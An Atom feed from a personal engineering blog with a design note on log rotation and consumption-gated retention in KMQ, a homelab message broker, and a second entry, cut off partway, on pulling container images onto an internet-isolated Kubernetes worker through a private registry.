<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Lisandro Fernández Rocha</title>
    <subtitle>Senior Information Systems Engineer &amp; DevSecOps</subtitle>
    <link rel="self" type="application/atom+xml" href="https://lf3.gitlab.io/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://lf3.gitlab.io"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-05-31T00:00:00+00:00</updated>
    <id>https://lf3.gitlab.io/atom.xml</id>
    <entry xml:lang="en">
        <title>KMQ: WAL retention-by-consumption, a timecode bus and a tape feed</title>
        <published>2026-05-31T00:00:00+00:00</published>
        <updated>2026-05-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/kmq-wal-rotation/"/>
        <id>https://lf3.gitlab.io/blog/kmq-wal-rotation/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/kmq-wal-rotation/">&lt;h2 id=&quot;wal-rotation-without-a-coordinator&quot;&gt;WAL rotation without a coordinator&lt;&#x2F;h2&gt;
&lt;p&gt;A design note on KMQ, a homelab message broker built from FIFOs, gawk and Kubernetes primitives. Earlier notes covered the &lt;a href=&quot;&#x2F;blog&#x2F;kmq-broker-from-primitives&quot;&gt;original FIFO pipeline&lt;&#x2F;a&gt;, the &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ring-buffer-backpressure-block&quot;&gt;ring-buffer block policy&lt;&#x2F;a&gt;, the &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ack-sidecar-retry-loop&quot;&gt;out-of-band ACK sidecar&lt;&#x2F;a&gt; and the &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ack-tls-loop&quot;&gt;dual-ACK feedback loop with TLS&lt;&#x2F;a&gt;. The &lt;a href=&quot;&#x2F;blog&#x2F;private-registry-upstream-pull-through-cache&quot;&gt;private OCI registry and pull-through cache&lt;&#x2F;a&gt; sits behind all of them.&lt;&#x2F;p&gt;
&lt;p&gt;The ACK note queued log rotation as future work. The TLS note listed unbounded log growth as one of the remaining boundaries: both &lt;code&gt;append.log&lt;&#x2F;code&gt; and &lt;code&gt;processed.log&lt;&#x2F;code&gt; grew forever, the CRD had retention fields and the implementation was not in tree. This note closes that boundary for &lt;code&gt;append.log&lt;&#x2F;code&gt; and is honest about the part still deferred.&lt;&#x2F;p&gt;
&lt;p&gt;It covers two planes of the same work. The mechanism, which is what was built and why, with Kleppmann as the conceptual frame. And the versatility, which is the claim that retention-by-consumption is a deliberate feature rather than a limitation, shown by two unrelated use cases running on the one mechanism.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;1-the-problem&quot;&gt;1. The problem&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;append.log&lt;&#x2F;code&gt; grew without bound under sustained throughput. The v0.4.4 throughput suite documented file-size-dependent variance: as the log got larger, benchmarks stopped being comparable across runs because the cost of touching the file changed underneath them. A &lt;code&gt;SUBSCRIBE&lt;&#x2F;code&gt; with &lt;code&gt;FROM_START&lt;&#x2F;code&gt; against a 272k-line topic took 14.7 seconds before the first byte reached the consumer, because the consumer-side reader walks the log from the top.&lt;&#x2F;p&gt;
&lt;p&gt;Three operational consequences, all measurable. Disk fills. Benchmarks lose comparability across runs. &lt;code&gt;FROM_START&lt;&#x2F;code&gt; latency degrades with log size. None of these is exotic. They are the standard reasons every log-based system eventually grows a rotation story.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;2-what-kleppmann-s-book-gave-us-and-what-it-did-not&quot;&gt;2. What Kleppmann’s book gave us and what it did not&lt;&#x2F;h3&gt;
&lt;p&gt;The conceptual scaffolding came from &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dataintensive.net&#x2F;&quot;&gt;Designing Data-Intensive Applications&lt;&#x2F;a&gt; by Martin Kleppmann, specifically Chapter 11 on stream processing and log-based message brokers and Chapter 3 on log-structured storage and segment-based reclamation.&lt;&#x2F;p&gt;
&lt;p&gt;The book provides the model KMQ already inhabits. A log-based message broker uses an append-only log as the durability substrate, consumers track offsets and retention is based on time or size rather than on delivery confirmation. Kafka and Amazon Kinesis are the canonical examples. Segmented logs split the log into segments, treat sealed segments as immutable and reclaim by deleting whole segments. Consumer offset tracking is the mechanism by which the broker knows what has been read.&lt;&#x2F;p&gt;
&lt;p&gt;The book also describes something KMQ deliberately does not do. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kafka.apache.org&#x2F;documentation&#x2F;#compaction&quot;&gt;Log compaction in the Kafka sense&lt;&#x2F;a&gt; retains only the latest value per key in an update stream. KMQ’s &lt;code&gt;append.log&lt;&#x2F;code&gt; has no key-update semantics. Every message is an independent event, not a new value for an existing key, so there is no “latest value” to retain and nothing to compact. Compaction is the wrong primitive here.&lt;&#x2F;p&gt;
&lt;p&gt;This distinction matters enough to name explicitly, because a reader who knows Kleppmann will assume the Kafka meaning of the word otherwise. Rotation moves sealed segments aside. Compaction retains the latest value per key. KMQ does the first and not the second. By Kleppmann’s taxonomy it is a log-based broker with rotation but without compaction. The book named the design space. The implementation decided where on that map this particular broker sits.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;3-the-design-pivot&quot;&gt;3. The design pivot&lt;&#x2F;h3&gt;
&lt;p&gt;The honest version, because these notes own their wrong turns.&lt;&#x2F;p&gt;
&lt;p&gt;The initial rotation plan was an external sidecar container watching file sizes and coordinating with the durability stage through a signal or a filesystem flag. Self-rotation inside &lt;code&gt;durability.awk&lt;&#x2F;code&gt; was flagged in planning as not recommended, on the grounds that it contaminates the hot path.&lt;&#x2F;p&gt;
&lt;p&gt;The implementation went with self-rotation anyway, and the justification turned out cleaner than the initial caution.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;durability.awk&lt;&#x2F;code&gt; is the single writer of &lt;code&gt;append.log&lt;&#x2F;code&gt;. That is a load-bearing invariant across the whole pipeline, enforced by &lt;code&gt;replicas: 1&lt;&#x2F;code&gt; and the &lt;code&gt;Recreate&lt;&#x2F;code&gt; strategy. Self-rotation has zero coordination cost: no signal, no flag and no race window between a rotator and the writer, because the writer rotates itself. A sidecar would have had to coordinate with the single writer, which is exactly the complexity self-rotation eliminates. The size check happens at the batch boundary, where the file is already being closed and reopened for the tier-1 persistence flush, so it does not move the hot-path needle in any way the throughput suite can see.&lt;&#x2F;p&gt;
&lt;p&gt;The lesson is worth stating plainly. When a single-writer invariant already holds, the “do not contaminate the hot path” instinct can be overcautious. The contamination is real but minor. The coordination it would have cost is real and large. The reversal made the design simpler, not worse.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;4-cut-and-reclaim&quot;&gt;4. CUT and RECLAIM&lt;&#x2F;h3&gt;
&lt;p&gt;The design separates two operations that look the same from outside but answer different questions.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;CUT&lt;&#x2F;th&gt;&lt;th&gt;RECLAIM&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Question&lt;&#x2F;td&gt;&lt;td&gt;When to seal the active segment&lt;&#x2F;td&gt;&lt;td&gt;When to delete a sealed segment&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Trigger&lt;&#x2F;td&gt;&lt;td&gt;Size or age threshold&lt;&#x2F;td&gt;&lt;td&gt;Consumption watermark&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Fires&lt;&#x2F;td&gt;&lt;td&gt;Always, when threshold is reached&lt;&#x2F;td&gt;&lt;td&gt;Only when every route has consumed past the segment&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Effect on consumers&lt;&#x2F;td&gt;&lt;td&gt;None&lt;&#x2F;td&gt;&lt;td&gt;A lagging consumer retains segments until it catches up&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Failure if confused&lt;&#x2F;td&gt;&lt;td&gt;n&#x2F;a&lt;&#x2F;td&gt;&lt;td&gt;Gating the cut here would starve the pipeline&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Data safety&lt;&#x2F;td&gt;&lt;td&gt;Loss-free&lt;&#x2F;td&gt;&lt;td&gt;Deletes only fully consumed data&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;CUT seals the active segment and starts a fresh one. The sequence is loss-free:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# CUT, fired at a batch boundary when the size or age threshold is reached
close(APPEND_LOG)                      # release the file descriptor
mv append.log -&amp;gt; append.log.&amp;lt;n&amp;gt;        # seal the segment under a new name
gzip append.log.&amp;lt;n&amp;gt; &amp;amp;                  # compress in the background, off the hot path
reopen APPEND_LOG for append           # fresh active segment, writing resumes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The cut keeps &lt;code&gt;append.log&lt;&#x2F;code&gt; from growing without bound regardless of what any consumer is doing. That is the whole point of separating it from reclaim.&lt;&#x2F;p&gt;
&lt;p&gt;RECLAIM deletes a sealed &lt;code&gt;.gz&lt;&#x2F;code&gt; segment from disk. It is gated by the consumption watermark, which is the minimum per-route &lt;code&gt;processed.cursor&lt;&#x2F;code&gt; sequence number across the active routes. A segment is reclaimed only when its top sequence number is at or below the watermark, meaning every route has consumed past it.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;append.log              active segment, being written
append.log.000003.gz    sealed, top seq 30000   reclaimable when watermark &amp;gt;= 30000
append.log.000002.gz    sealed, top seq 20000   reclaimable when watermark &amp;gt;= 20000
append.log.000001.gz    sealed, top seq 10000   reclaimed, watermark already passed it

watermark = min(processed.cursor seq) over active routes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The naive design gates the cut on consumption, or simply never cuts while a consumer lags. That fails in a specific way. A slow consumer turns rotation off, &lt;code&gt;append.log&lt;&#x2F;code&gt; grows without bound again and the original problem returns wearing a different hat. Gating only the reclaim is the correct decomposition: the cut bounds the active file unconditionally, the reclaim refuses to delete anything a route has not yet read. A stuck consumer costs disk, not data and not throughput.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;5-the-per-route-cursor-as-the-watermark&quot;&gt;5. The per-route cursor as the watermark&lt;&#x2F;h3&gt;
&lt;p&gt;The per-route &lt;code&gt;processed.cursor&lt;&#x2F;code&gt; was not built for rotation. It was introduced earlier to give O(1) ACK reads, bypassing a slow path that scanned a log to answer “has sequence N been processed”. One small file per route, holding the last processed sequence number.&lt;&#x2F;p&gt;
&lt;p&gt;With rotation, the same file becomes the consumption watermark. Take the minimum cursor sequence across all active routes and that is the floor under which a reclaim is safe. No new bookkeeping, no new file and no second source of truth about what has been consumed.&lt;&#x2F;p&gt;
&lt;p&gt;The reuse is the point worth highlighting. A primitive built for one purpose turned out to be the natural primitive for another. That is the quiet payoff of composable files over time. When the durable state is just a line in a file readable with &lt;code&gt;cat&lt;&#x2F;code&gt;, a second consumer of that state costs nothing to add.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;6-the-behavior-that-looked-like-a-bug&quot;&gt;6. The behavior that looked like a bug&lt;&#x2F;h3&gt;
&lt;p&gt;The retention behavior first showed up as an apparent leak. Segments were not being reclaimed, disk was growing and a route with no consumer kept its segments forever. The instinct was to treat it as a bug to fix.&lt;&#x2F;p&gt;
&lt;p&gt;It is not a leak. It is a choice. Reclamation is gated on consumption on purpose, because both alternatives are worse. Gating the cut starves the pipeline under load, as Section 4 shows. Reclaiming unconsumed data deletes messages nobody has read yet, which is data loss dressed up as housekeeping. Retaining a stuck route’s segments until they are consumed is the only option that loses nothing, and it is the one the design takes.&lt;&#x2F;p&gt;
&lt;p&gt;The verification surfaced one genuine bug, worth reporting because it is the kind that only appears under rotation. The cut writes a comment marker as the first line of each fresh segment. The O(1) ACK read took the tail line of the active segment to find the durable sequence, and under load the read sometimes crossed the window right after a cut, saw the comment marker and returned sequence 0. An end-to-end loop then locked on 0. The fix was small: read the last several lines and skip comments rather than trusting the literal tail. Verified on cluster on 2026-05-31, with rotation enabled, two consecutive contract runs clean. The bug was real, transient and now closed. The retention behavior was never the bug. The tail read was.&lt;&#x2F;p&gt;
&lt;p&gt;The proof that the boundary was chosen rather than tripped over is that the same mechanism, unchanged, serves two unrelated real use cases.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;7-use-case-one-an-smpte-timecode-bus&quot;&gt;7. Use case one: an SMPTE timecode bus&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;SMPTE_timecode&quot;&gt;SMPTE timecode&lt;&#x2F;a&gt; in its longitudinal form, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Linear_timecode&quot;&gt;LTC&lt;&#x2F;a&gt;, is a synchronization stream recorded on its own track parallel to the content tracks. It exists to be read by an external synchronizer that does not consume the content. The standard is SMPTE 12M. The timecode itself dates to the late 1960s, with a SMPTE committee formed around 1969 to end the chaos of incompatible editing-machine codes, and the formal ANSI&#x2F;SMPTE 12M specification approved in 1975, later split into 12M-1 and 12M-2 in 2008. The relevant property for this note is structural, not historical: it is the canonical case of a side channel read by an external asynchronous device that is not the content consumer.&lt;&#x2F;p&gt;
&lt;p&gt;KMQ’s retained route is the same shape. Timecode frames go on a route named &lt;code&gt;smpte&lt;&#x2F;code&gt;, are retained in the WAL across rotations and an external reader consumes them at its own cadence. That reader is a sync slave, the kind of thing you would drive off a GPIO line on a small embedded board. The retention is the timecode-bus guarantee: the sync track has to survive until the reader has it, which is exactly retention-by-consumption.&lt;&#x2F;p&gt;
&lt;p&gt;The homelab angle is the honest one. This will never drive a real tape deck, and that is the point. The pattern is real, the use case is real and the broker carries it without knowing the bytes are timecode. A 1969 sync protocol carried by an AWK broker on Kubernetes and read out to a microcontroller is vaporwave that actually compiles.&lt;&#x2F;p&gt;
&lt;p&gt;The scenario, &lt;code&gt;usecase-smpte-timecode.sh&lt;&#x2F;code&gt;, verified on cluster: 750 frames in &lt;code&gt;HH:MM:SS:FF&lt;&#x2F;code&gt; form at 25 frames per second starting from &lt;code&gt;10:00:00:00&lt;&#x2F;code&gt;, retained through a rotation, then read &lt;code&gt;FROM_START&lt;&#x2F;code&gt; by the synchronizer. It asserts coverage, meaning no dropped frames and monotonic first-appearance order, because a sync bus that delivers out of order cannot lock. Span verified from &lt;code&gt;10:00:00:00&lt;&#x2F;code&gt; to &lt;code&gt;10:00:29:24&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;8-use-case-two-cold-storage-with-verifiable-bundles&quot;&gt;8. Use case two: cold storage with verifiable bundles&lt;&#x2F;h3&gt;
&lt;p&gt;A route named &lt;code&gt;archive&lt;&#x2F;code&gt; accumulates with no live consumer. Once a period, an archivist runs a job that consumes the route in full, acknowledges that consumption through the drainer (&lt;code&gt;tools&#x2F;drain-routes.sh&lt;&#x2F;code&gt;, reused rather than reimplemented), packages the content into per-bundle &lt;code&gt;tar.gz&lt;&#x2F;code&gt; files and computes a sha256 for each. It then emits a manifest aligning every bundle to its sequence range and archival date. The manifest is the product. It is what makes the cold store verifiable on retrieval rather than a pile of opaque tarballs.&lt;&#x2F;p&gt;
&lt;p&gt;The standards lineage sits naturally at the doorstep of this output, and the wording here is deliberately cautious because compatibility is a claim that should be earned, not asserted. The bundles are &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pubs.opengroup.org&#x2F;onlinepubs&#x2F;9699919799&#x2F;utilities&#x2F;pax.html&quot;&gt;TAR, the pax interchange format under POSIX.1-2001&lt;&#x2F;a&gt;, the most primitive and most thoroughly deployed tape interchange form there is. The manifest plus per-bundle sha256 is a rudimentary archival information package in the sense of the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;public.ccsds.org&#x2F;Pubs&#x2F;650x0m2.pdf&quot;&gt;OAIS reference model, ISO 14721 &#x2F; CCSDS 650.0-M-2&lt;&#x2F;a&gt;, which mandates integrity validation for long-term cold storage. An optional &lt;code&gt;ARCHIVE_DEST&lt;&#x2F;code&gt; can point at an &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.iso.org&#x2F;standard&#x2F;80598.html&quot;&gt;LTFS mount, ISO&#x2F;IEC 20919:2021&lt;&#x2F;a&gt;, which writes the bundles to LTO tape with the operating system seeing the tape as a disk. Adjacent and equally documented are the object-storage front ends for tape, such as &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.aws.amazon.com&#x2F;storagegateway&#x2F;latest&#x2F;tgw&#x2F;WhatIsStorageGateway.html&quot;&gt;AWS Tape Gateway&lt;&#x2F;a&gt; and Spectra Logic BlackPearl, which present an S3 interface over a tape library. These are real, decade-deployed standards, used by CERN’s tape archive and by national archives.&lt;&#x2F;p&gt;
&lt;p&gt;KMQ implements none of them. It produces output that sits naturally where they begin. The right framing is “the WAL turned into a feed for tape”, not “KMQ is an archival system”.&lt;&#x2F;p&gt;
&lt;p&gt;The scenario, &lt;code&gt;usecase-cold-storage.sh&lt;&#x2F;code&gt;, verified: 1000 records sent to &lt;code&gt;archive&lt;&#x2F;code&gt;, the drainer invoked to acknowledge consumption, a full read, a split into 4 bundles of 250, each as &lt;code&gt;tar.gz&lt;&#x2F;code&gt; plus sha256 and a manifest aligning each bundle to its sequence range. Integrity is recomputed and matched. The bundles land in the PVC by default, with no external destination required.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;9-the-maturity-argument&quot;&gt;9. The maturity argument&lt;&#x2F;h3&gt;
&lt;p&gt;Pull it together.&lt;&#x2F;p&gt;
&lt;p&gt;One mechanism: a reclaim gated on the consumption watermark, an always-on cut and the per-route cursor doing double duty as that watermark.&lt;&#x2F;p&gt;
&lt;p&gt;Two unrelated use cases: a synchronization bus and an archive feed.&lt;&#x2F;p&gt;
&lt;p&gt;The behavior that looks like a bug for a naive queue, segments retained because a route has no consumer, is precisely the guarantee both use cases require. The sync bus needs the track to survive until the slave reads it. The archive needs the route to survive until the archivist packages it.&lt;&#x2F;p&gt;
&lt;p&gt;The discipline that made this legible matters as much as the mechanism. The retention is documented as a feature with paired white-box and black-box scenarios, one to one, not asserted in prose. The retention is shown surviving a rotation and then released by consumption, with the reclaim invariant checked from inside the broker. A design pays off when it does work the designer did not have to do. The CUT and RECLAIM split was sized for rotation. It turned out to be exactly what these two use cases needed, and neither was aimed at when the split was drawn.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;10-what-was-deferred&quot;&gt;10. What was deferred&lt;&#x2F;h3&gt;
&lt;p&gt;The boundaries, stated plainly, because the value of a note like this is in being exact about where the work stops.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;processed.log&lt;&#x2F;code&gt; rotation is deferred. The ACK-ingress endpoint runs as a &lt;code&gt;socat&lt;&#x2F;code&gt; EXEC handler, a fresh gawk process per connection that reopens the file by path each time, so it never holds the long-lived descriptor that made &lt;code&gt;append.log&lt;&#x2F;code&gt; rotation necessary in the first place. &lt;code&gt;processed.log&lt;&#x2F;code&gt; most likely decouples from the broker logs into the ACK ceremony layer entirely. The right move was to not rotate it now and to decide its architectural home first, rather than copy a mechanism it does not need.&lt;&#x2F;p&gt;
&lt;p&gt;Segment-aware &lt;code&gt;GET_STATUS&lt;&#x2F;code&gt; is deferred as an edge case. When a queried sequence has been reclaimed and now lives in a deleted segment, &lt;code&gt;GET_STATUS&lt;&#x2F;code&gt; answers &lt;code&gt;NOT_FOUND&lt;&#x2F;code&gt; rather than pointing at the archive. A segment index recorded as semantic intent, in etcd or a ConfigMap and changing per rotation rather than per message, would fix this. It is not yet built.&lt;&#x2F;p&gt;
&lt;p&gt;Per-topic file rotation is not done. &lt;code&gt;test.log&lt;&#x2F;code&gt;, &lt;code&gt;jobs.log&lt;&#x2F;code&gt; and &lt;code&gt;dead_letter.log&lt;&#x2F;code&gt; are the per-route queue files, written one line per routing key and never reclaimed. They are real debris under heavy synthetic load, and they tie to the deferred &lt;code&gt;processed.log&lt;&#x2F;code&gt; question rather than to the WAL rotation this note describes.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-is-queued&quot;&gt;What is queued&lt;&#x2F;h3&gt;
&lt;p&gt;A segment index so &lt;code&gt;GET_STATUS&lt;&#x2F;code&gt; can answer for reclaimed sequences instead of returning &lt;code&gt;NOT_FOUND&lt;&#x2F;code&gt;. A decision on where &lt;code&gt;processed.log&lt;&#x2F;code&gt; lives before it gets a rotation policy of its own. And the &lt;code&gt;ARCHIVE_DEST&lt;&#x2F;code&gt; path actually pointed at an LTFS mount, so the cold-storage bundles land on tape rather than back on the same PVC they came from. None of these changes the mechanism in this note. They extend the surface it already exposes.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Pulling container images on a node that has no internet</title>
        <published>2026-05-16T00:00:00+00:00</published>
        <updated>2026-05-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/k8s-image-pulls-without-internet/"/>
        <id>https://lf3.gitlab.io/blog/k8s-image-pulls-without-internet/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/k8s-image-pulls-without-internet/">&lt;p&gt;Fifth in the KMQ series. Second in the homelab infrastructure subseries that runs alongside it.&lt;&#x2F;p&gt;
&lt;p&gt;Previous in KMQ: &lt;a href=&quot;&#x2F;blog&#x2F;kmq-broker-from-primitives&quot;&gt;the broker from primitives&lt;&#x2F;a&gt;, &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ring-buffer-backpressure-block&quot;&gt;the ring buffer and backpressure&lt;&#x2F;a&gt;, &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ack-sidecar-retry-loop&quot;&gt;the ack sidecar retry loop&lt;&#x2F;a&gt;, &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ack-tls-loop&quot;&gt;the TLS sidecar loop&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Previous in infra: &lt;a href=&quot;&#x2F;blog&#x2F;private-registry-upstream-pull-through-cache&quot;&gt;a private OCI registry and a pull-through cache&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The infra post set up a private registry on a LAN host and a cache for three public registries on the segment router. Both were exercised from a workstation with full internet access. This post extends the same substrate to a kubernetes worker that has none.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-this-is&quot;&gt;What this is&lt;&#x2F;h2&gt;
&lt;p&gt;A two-segment cluster. The control plane sits in the outer segment with internet access. The worker sits in the inner segment behind a default-deny firewall rule. That rule is the point: anything scheduled to that worker, including anything compromised, cannot reach the public internet.&lt;&#x2F;p&gt;
&lt;p&gt;The worker still runs pods that reference public registries. &lt;code&gt;registry.k8s.io&#x2F;coredns&#x2F;coredns:v1.11.3&lt;&#x2F;code&gt;. &lt;code&gt;docker.io&#x2F;library&#x2F;alpine:3.21&lt;&#x2F;code&gt;. The pods do not know about the segmentation, and the kubelet does not need to know either &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;containers&#x2F;images&#x2F;&quot;&gt;1&lt;&#x2F;a&gt;. It asks the container runtime to pull. The bytes appear.&lt;&#x2F;p&gt;
&lt;p&gt;Five components are doing distinct jobs behind that sentence. Each one can be reasoned about and verified on its own, which is what makes the rest of this post short &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;debuggingrules.com&#x2F;&quot;&gt;2&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-components&quot;&gt;The components&lt;&#x2F;h2&gt;
&lt;p&gt;Inside the segment: the worker; a private OCI registry on the same LAN over plain HTTP, conformant with the OCI Distribution Specification &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;distribution-spec&#x2F;blob&#x2F;main&#x2F;spec.md&quot;&gt;3&lt;&#x2F;a&gt;; a DNS resolver on the segment router answering homelab names; and a containerd mirror configuration on the worker, under &lt;code&gt;&#x2F;etc&#x2F;containerd&#x2F;certs.d&#x2F;&lt;&#x2F;code&gt;, that translates each public registry hostname to the private one &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;containerd&#x2F;containerd&#x2F;blob&#x2F;main&#x2F;docs&#x2F;hosts.md&quot;&gt;4&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Outside the segment: the control plane has internet egress and an OCI client that pre-pushes upstream images into the private registry &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;go-containerregistry&#x2F;blob&#x2F;main&#x2F;cmd&#x2F;crane&#x2F;doc&#x2F;crane_copy.md&quot;&gt;5&lt;&#x2F;a&gt;. The push is automated and runs once per kubernetes version bump, driven by &lt;code&gt;kubeadm config images list&lt;&#x2F;code&gt;. It populates seven images: api server, controller manager, scheduler, proxy, coredns, pause and etcd. The same loop with a different list populates upstream tooling images the cluster will need.&lt;&#x2F;p&gt;
&lt;p&gt;What stays manual is the push of internally-built artifacts (the broker, the producer, the test consumer). Those go in after each local build, by hand for now.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-a-pull-looks-like&quot;&gt;What a pull looks like&lt;&#x2F;h2&gt;
&lt;p&gt;The kubelet asks containerd for &lt;code&gt;registry.k8s.io&#x2F;coredns&#x2F;coredns:v1.11.3&lt;&#x2F;code&gt;. Containerd reads &lt;code&gt;&#x2F;etc&#x2F;containerd&#x2F;certs.d&#x2F;registry.k8s.io&#x2F;hosts.toml&lt;&#x2F;code&gt;, finds a mirror pointing to &lt;code&gt;http:&#x2F;&#x2F;registry.home.arpa:5000&lt;&#x2F;code&gt;, opens the connection, fetches the manifest, fetches the blobs and reports success. The pod moves through &lt;code&gt;ContainerCreating&lt;&#x2F;code&gt; to &lt;code&gt;Running&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The hostname &lt;code&gt;registry.k8s.io&lt;&#x2F;code&gt; is never resolved to a public IP from the worker. The firewall is never asked to allow public egress. The bytes never leave the segment.&lt;&#x2F;p&gt;
&lt;p&gt;Three layers have to work for that flow: TCP routability worker-to-registry, DNS resolution of the local hostname and containerd correctly applying its config. Each is verifiable on its own. When the assembly fails, the move is to isolate the layer that broke before changing anything else &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kohala.com&#x2F;start&#x2F;tcpipiv1.html&quot;&gt;6&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;four-dead-ends-on-the-way&quot;&gt;Four dead ends on the way&lt;&#x2F;h2&gt;
&lt;p&gt;The cookbook below is the version after the dust settled. The path there was four dead ends. Each is a recognisable shape worth writing down.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;The pull-through cache did not help.&lt;&#x2F;strong&gt; The first instinct was to point the worker at the same cache built for the outer segment. The cache opens an HTTPS connection to &lt;code&gt;registry.k8s.io&lt;&#x2F;code&gt; upstream, which replies with a 307 redirect to a regional CDN backend on a public address. The cache cannot follow the redirect on the worker’s behalf. The worker cannot reach the CDN either. The error from &lt;code&gt;kubectl describe pod&lt;&#x2F;code&gt; named the CDN’s public IP: &lt;code&gt;dial tcp 34.96.108.209:443: connect: connection refused&lt;&#x2F;code&gt;. The IP was the clue. The cache was an inert participant, not a culprit.&lt;&#x2F;p&gt;
